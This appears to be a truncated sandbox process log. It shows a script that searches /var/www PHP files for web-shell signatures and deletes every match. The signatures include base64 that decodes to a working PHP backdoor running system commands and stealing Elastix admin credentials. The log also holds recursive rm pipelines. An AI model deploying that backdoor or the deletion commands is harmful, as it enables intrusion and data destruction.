      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:836
  - - /usr/sbin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:836
  - - /usr/bin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:836
  - - /sbin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:836
  - - /bin/grep
      grep -Il cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8
      4⤵
      PID:836
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:835
- - /usr/bin/xargs
    xargs -0 grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
    3⤵
    PID:838
  - - /usr/local/sbin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:840
  - - /usr/local/bin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:840
  - - /usr/sbin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:840
  - - /usr/bin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:840
  - - /sbin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:840
  - - /bin/grep
      grep -Il 4ce19905aac5c1a58fc464e5bc1ce027
      4⤵
      PID:840
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:837
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:839
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:841
- - /usr/bin/xargs
    xargs -0 grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
    3⤵
    - Reads runtime system information
    PID:842
  - - /usr/local/sbin/grep
      grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
      4⤵
      PID:844
  - - /usr/local/bin/grep
      grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
      4⤵
      PID:844
  - - /usr/sbin/grep
      grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
      4⤵
      PID:844
  - - /usr/bin/grep
      grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
      4⤵
      PID:844
  - - /sbin/grep
      grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
      4⤵
      PID:844
  - - /bin/grep
      grep -Il WOigy0g4sLN5lYSPWbgQATDruUCwwLvvjUD1XERpPEqOMnDKUHpQXthpojiQP2aQ2KHsVHUMven1lyU2HqjNz3X3zP4oK4YDbdpovLru7UFBfQXgYUqy7Qm3j0eRhHkPVUIOfqOXxBmdn1GL6Sl
      4⤵
      PID:844
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:843
- - /usr/bin/xargs
    xargs -0 grep -Il 212.83.160.70
    3⤵
    PID:846
  - - /usr/local/sbin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:848
  - - /usr/local/bin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:848
  - - /usr/sbin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:848
  - - /usr/bin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:848
  - - /sbin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:848
  - - /bin/grep
      grep -Il 212.83.160.70
      4⤵
      PID:848
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:845
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:847
- - /usr/bin/xargs
    xargs -0 grep -Il atmin
    3⤵
    PID:850
  - - /usr/local/sbin/grep
      grep -Il atmin
      4⤵
      PID:852
  - - /usr/local/bin/grep
      grep -Il atmin
      4⤵
      PID:852
  - - /usr/sbin/grep
      grep -Il atmin
      4⤵
      PID:852
  - - /usr/bin/grep
      grep -Il atmin
      4⤵
      PID:852
  - - /sbin/grep
      grep -Il atmin
      4⤵
      PID:852
  - - /bin/grep
      grep -Il atmin
      4⤵
      PID:852
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:849
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:851
- - /usr/bin/xargs
    xargs -0 grep -Il emad
    3⤵
    PID:854
  - - /usr/local/sbin/grep
      grep -Il emad
      4⤵
      PID:856
  - - /usr/local/bin/grep
      grep -Il emad
      4⤵
      PID:856
  - - /usr/sbin/grep
      grep -Il emad
      4⤵
      PID:856
  - - /usr/bin/grep
      grep -Il emad
      4⤵
      PID:856
  - - /sbin/grep
      grep -Il emad
      4⤵
      PID:856
  - - /bin/grep
      grep -Il emad
      4⤵
      PID:856
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:853
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:855
- - /usr/bin/xargs
    xargs -0 grep -Il xman
    3⤵
    PID:858
  - - /usr/local/sbin/grep
      grep -Il xman
      4⤵
      PID:860
  - - /usr/local/bin/grep
      grep -Il xman
      4⤵
      PID:860
  - - /usr/sbin/grep
      grep -Il xman
      4⤵
      PID:860
  - - /usr/bin/grep
      grep -Il xman
      4⤵
      PID:860
  - - /sbin/grep
      grep -Il xman
      4⤵
      PID:860
  - - /bin/grep
      grep -Il xman
      4⤵
      PID:860
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:857
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:859
- - /usr/bin/xargs
    xargs -0 grep -Il XIlphUsiO4msro7W13SzX93D
    3⤵
    - Reads runtime system information
    PID:863
  - - /usr/local/sbin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:866
  - - /usr/local/bin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:866
  - - /usr/sbin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:866
  - - /usr/bin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:866
  - - /sbin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:866
  - - /bin/grep
      grep -Il XIlphUsiO4msro7W13SzX93D
      4⤵
      PID:866
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:862
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:864
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:867
- - /usr/bin/xargs
    xargs -0 grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
    3⤵
    PID:868
  - - /usr/local/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:871
  - - /usr/local/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:871
  - - /usr/sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:871
  - - /usr/bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:871
  - - /sbin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:871
  - - /bin/grep
      grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI
      4⤵
      PID:871
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:869
- - /usr/bin/xargs
    xargs -0 grep -Il PXNnXkJjM2Brrml4KJcQB2cl
    3⤵
    PID:873
  - - /usr/local/sbin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:876
  - - /usr/local/bin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:876
  - - /usr/sbin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:876
  - - /usr/bin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:876
  - - /sbin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:876
  - - /bin/grep
      grep -Il PXNnXkJjM2Brrml4KJcQB2cl
      4⤵
      PID:876
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    - Reads runtime system information
    PID:872
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:874
- - /usr/bin/xargs
    xargs -0 grep -Il qqeTjC4GRemtQk
    3⤵
    - Reads runtime system information
    PID:878
  - - /usr/local/sbin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:880
  - - /usr/local/bin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:880
  - - /usr/sbin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:880
  - - /usr/bin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:880
  - - /sbin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:880
  - - /bin/grep
      grep -Il qqeTjC4GRemtQk
      4⤵
      PID:880
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:877
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:879
- - /usr/bin/xargs
    xargs -0 grep -Il BHQfhP4BjWtPyz8zT
    3⤵
    - Reads runtime system information
    PID:883
  - - /usr/local/sbin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:886
  - - /usr/local/bin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:886
  - - /usr/sbin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:886
  - - /usr/bin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:886
  - - /sbin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:886
  - - /bin/grep
      grep -Il BHQfhP4BjWtPyz8zT
      4⤵
      PID:886
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:882
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:884
- - /usr/bin/xargs
    xargs -0 grep -Il Z9SbKxDW
    3⤵
    PID:888
  - - /usr/local/sbin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:891
  - - /usr/local/bin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:891
  - - /usr/sbin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:891
  - - /usr/bin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:891
  - - /sbin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:891
  - - /bin/grep
      grep -Il Z9SbKxDW
      4⤵
      PID:891
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:887
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:889
- - /usr/bin/xargs
    xargs -0 grep -Il E8BcHrsgsXBGDf
    3⤵
    - Reads runtime system information
    PID:894
  - - /usr/local/sbin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:896
  - - /usr/local/bin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:896
  - - /usr/sbin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:896
  - - /usr/bin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:896
  - - /sbin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:896
  - - /bin/grep
      grep -Il E8BcHrsgsXBGDf
      4⤵
      PID:896
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:893
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:895
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:898
- - /usr/bin/xargs
    xargs -0 grep -Il 34SapF2b
    3⤵
    PID:899
  - - /usr/local/sbin/grep
      grep -Il 34SapF2b
      4⤵
      PID:902
  - - /usr/local/bin/grep
      grep -Il 34SapF2b
      4⤵
      PID:902
  - - /usr/sbin/grep
      grep -Il 34SapF2b
      4⤵
      PID:902
  - - /usr/bin/grep
      grep -Il 34SapF2b
      4⤵
      PID:902
  - - /sbin/grep
      grep -Il 34SapF2b
      4⤵
      PID:902
  - - /bin/grep
      grep -Il 34SapF2b
      4⤵
      PID:902
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:900
- - /usr/bin/xargs
    xargs -0 grep -Il PRWV3tQ99H8fhI0ho
    3⤵
    PID:904
  - - /usr/local/sbin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:907
  - - /usr/local/bin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:907
  - - /usr/sbin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:907
  - - /usr/bin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:907
  - - /sbin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:907
  - - /bin/grep
      grep -Il PRWV3tQ99H8fhI0ho
      4⤵
      PID:907
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:903
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:905
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:909
- - /usr/bin/xargs
    xargs -0 grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
    3⤵
    PID:910
  - - /usr/local/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:912
  - - /usr/local/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:912
  - - /usr/sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:912
  - - /usr/bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:912
  - - /sbin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:912
  - - /bin/grep
      grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm0
      4⤵
      PID:912
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:911
- - /usr/bin/xargs
    xargs -0 grep -Il b374k
    3⤵
    PID:915
  - - /usr/local/sbin/grep
      grep -Il b374k
      4⤵
      PID:918
  - - /usr/local/bin/grep
      grep -Il b374k
      4⤵
      PID:918
  - - /usr/sbin/grep
      grep -Il b374k
      4⤵
      PID:918
  - - /usr/bin/grep
      grep -Il b374k
      4⤵
      PID:918
  - - /sbin/grep
      grep -Il b374k
      4⤵
      PID:918
  - - /bin/grep
      grep -Il b374k
      4⤵
      PID:918
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:914
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    PID:916
- - /usr/bin/xargs
    xargs -0 grep -Il Hacked
    3⤵
    PID:920
  - - /usr/local/sbin/grep
      grep -Il Hacked
      4⤵
      PID:924
  - - /usr/local/bin/grep
      grep -Il Hacked
      4⤵
      PID:924
  - - /usr/sbin/grep
      grep -Il Hacked
      4⤵
      PID:924
  - - /usr/bin/grep
      grep -Il Hacked
      4⤵
      PID:924
  - - /sbin/grep
      grep -Il Hacked
      4⤵
      PID:924
  - - /bin/grep
      grep -Il Hacked
      4⤵
      PID:924
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:919
- - /usr/bin/xargs
    xargs -r -d "\\n" rm -v --
    3⤵
    - Reads runtime system information
    PID:921
- - /usr/bin/find
    find /var/www -type f -name "*.php" -print0
    3⤵
    PID:925
- - /usr/bin/xargs
    xargs -0 grep -Il Unauth0r1zed
    3⤵
    PID:926
  - - /usr/local/sbin/grep
      grep -Il Unauth0r1zed
      4⤵
